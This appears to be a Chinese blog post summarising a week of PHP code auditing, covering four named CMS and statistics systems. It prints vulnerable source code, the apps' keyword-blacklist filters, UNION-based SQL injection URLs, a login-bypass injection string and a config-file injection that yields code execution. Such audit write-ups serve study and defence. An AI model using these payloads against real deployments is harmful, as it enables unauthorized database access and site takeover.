代码审计一周总结 11-3

看了一周的PHP了,算是做个总结

1. Tun2 免费版本

/inc/config_db.php里存在过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function inject_check($sql_str) {     
return eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str); // 进行过滤
}

function verify_id($id=null) {
if($id){
if (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断
elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断
$id = intval($id); // 整型化
}
return $id;
}

function str_check( $str ) {
if (!get_magic_quotes_gpc()) { // 判断magic_quotes_gpc是否打开
$str = addslashes($str); // 进行过滤
}
$str = str_replace("_", "\_", $str); // 把 '_'过滤掉
$str = str_replace("%", "\%", $str); // 把 '%'过滤掉

return $str;
}

function post_check($post) {
if (!get_magic_quotes_gpc()) { // 判断magic_quotes_gpc是否为打开
$post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤
}
$post = str_replace("_", "\_", $post); // 把 '_'过滤掉
$post = str_replace("%", "\%", $post); // 把 '%'过滤掉
$post = nl2br($post); // 回车转换
$post = htmlspecialchars($post); // html标记转换 //stripcslashes

return $post;
}

function uh ( $str )
{
$farr = array(
"/\s+/" , //过滤多余的空白
"/<(\/?)(script|META|STYLE|HTML|HEAD|BODY|STYLE |i?frame|b|strong|style|html|img|P|o:p|iframe|u|em|strike|BR|div|a|TABLE|TBODY|object|tr|td|st1:chsdate|FONT|span|MARQUEE|body|title|\r\n|link|meta|\?|\%)([^>]*?)>/isU" , //过滤 <script 防止引入恶意内容或恶意代码,如果不需要插入flash等,还可以加入<object的过滤
"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU" , //过滤javascript的on事件
);
$tarr = array(
" " ,
"" , //如果要直接清除不安全的标签,这里可以留空
"\\1\\2" ,
);
$str = preg_replace ( $farr , $tarr , $str );
$str2 = str_replace ('<','&lt;' , $str );
$str3 = str_replace ('>','&gt;' , $str2 );
return $str3 ;
}

正则匹配搜索一下\$_POST|\$_GET|\$_REQUESR

除了后台界面有些没过滤,前台参数在传递时基本被过滤了,仅有的几个没被过滤的也没有利用价值

Admin_Notice.php

后台注入中随意举个栗子

1
2
3
4
5
6
7
8
......
......
function edit( )
{
global $db,$DB_dbprefix;
$db->query( "select * from {$DB_dbprefix}notice WHERE id=".$_GET['id'] );
......
......

1.注入

id不需要闭合单引号,可直接进行注入

构造payload

http://localhost:8080/Tun2/Admin/Admin_Notice.php?Action=edit&id=1 union select 1,database(),user(),1 limit 1,1

2.直接数据库查询

后台存在数据库管理

可以直接进行查询

3.任意文件读写GETSHELL

Admin_Templates.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
case "edit" :
if ( !( $fp = fopen( $_GET['editfile'], "rb" ) ) )
{
exit( "不能打开文件".$_GET['editfile'] );
}
$data = fread( $fp, filesize( $_GET['editfile'] ) );
echo "<script language=\"javascript\" src=\"inc/js.js\"></script>\r\n<table width=\"98%\" border=\"1\" align=\"center\" cellpadding=\"5\" cellspacing=\"0\" class=\"table\">\r\n <form action=\"Admin_Templates.php?Action=editsever\" method=\"post\" onSubmit=\"return Validator.Validate(this,3)\">\r\n <tr>\r\n <td width=\"15%\" align=\"right\">文件名称:</td>\r\n <td><input name=\"filename\" type=\"text\" value=\"";
echo $_GET['file'];
echo "\" size=\"40\" readonly></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"2\" align=\"right\"><textarea name=\"htmlcontent\" style=\"width:100%\" rows=\"30\" dataType=\"Require\" msg=\"请填写模版内容\">";
echo str_replace("textarea>", "textarea>", $data);
echo "</textarea></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"2\" align=\"center\"><input name=\"file\" type=\"hidden\" value=\"";
echo $_GET['editfile'];
echo "\"><input type=\"submit\" name=\"Submit_add\" value=\"修改模板\" /></td>\r\n </tr>\r\n </form>\r\n</table>\r\n\t";
fclose( $fp );
break;
case "editsever" :
wfile( $_POST['file'], stripcslashes( str_replace("textarea>", "textarea>", $_POST['htmlcontent']) ) );
addlog( "修改模板".$_POST['filename'], $_SESSION['user_name'] );
admin_showerr( "<li>模板修改成功</li>", "Admin_Templates.php", 1 );
break;

以上两个都可以GETSHELL,这里用editsever进行举例

构造payload

访问shell.php

2.乘风多用户PHP统计系统 v5.2

首先看下过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function chkstr($paravalue,$paratype) //过滤非法字符
{
if($paratype==1)
{
$filterstr="(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if (preg_match("/".$filterstr."/is",$paravalue)==1){
echo "传递的参数类型有错误!";
exit;
}

$inputstr=str_replace("'","''",$paravalue);
}
elseif($paratype==2)
{
if($paravalue!=""&&is_numeric($paravalue)==false)
{
echo "传递的参数类型有错误!";
exit;
}
else
{
$inputstr=$paravalue;
}
}
elseif($paratype==3)
{
if($paravalue!=""&&(strtotime($paravalue)==false||strtotime($paravalue)==-1))
{
echo("传递的参数类型有错误!");
exit;
}
else
{
$inputstr=$paravalue;
}
}

return $inputstr;
}

显然,很难绕过,所以先找下没被过滤的参数

1.后台SQL注入

searchmodify.php

1
2
3
4
5
6
7
8
<?php   
$id=$_GET["id"];

$sql="select * from cfstat_search_set where id='$id'";
echo $sql;
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
?>

payload

http://localhost/cfstat/adminuser.php?action=searchmodify&id=1%27%20union%20select%201,2,3,user()%20limit%201,1%23

此外还有一处是注册用户后可进行注册,发生在view.php就不在细说

1
2
3
4
5
6
<?php 
$username=$_GET["username"];
$sql="select pagename,gbookstate from cfstat_user where username='$username'";
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
?>

3.CWCMS 网站管理系统PHP版

1.全站SQL注入

未对传入参数进行任何处理,可以随意进行SQL注入

登录窗口构造payload

1
user=' union select md5(1),md5(1),md5(1),md5(1)#&pass=1&yzm=32485&act=login

登陆成功

2.后台修改设置GETSHELL

1
2
3
4
5
6
7
8
9
$html.="<?php".chr(10);
$html.=chr(36)."cw_name=".chr(34).$_POST["cw_name"].chr(34).chr(59).chr(10);
$html.=chr(36)."cw_host=".chr(34).$_POST["cw_host"].chr(34).chr(59).chr(10);
$html.=chr(36)."cw_root=".chr(34).$_POST["cw_root"].chr(34).chr(59).chr(10);
$html.=chr(36)."cw_upfile=".chr(34).$_POST["cw_upfile"].chr(34).chr(59).chr(10);
$html.=chr(36)."index_title=".chr(34).$_POST["index_title"].chr(34).chr(59).chr(10);
.......
cw_create("../inc/","config.php",$html);
echo("<script>alert('设置修改成功!');location.href='cw_web.php';</script>");

构造payload

cw_name=创文企业网站管理系统";phpinfo()//

4.夏日PHP电子商务系统V.02

1.全站SQL注入

并未对输入做过滤,随意找一个注入点进行注入,就不进行分析了

总结

目前还是比较菜,大多数漏洞只能在后台界面发现,大多数漏洞原因是开发者在某个页面少了过滤。

待续